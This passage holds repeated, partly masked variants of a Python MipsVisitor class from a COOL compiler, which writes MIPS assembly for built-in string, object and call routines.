self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if 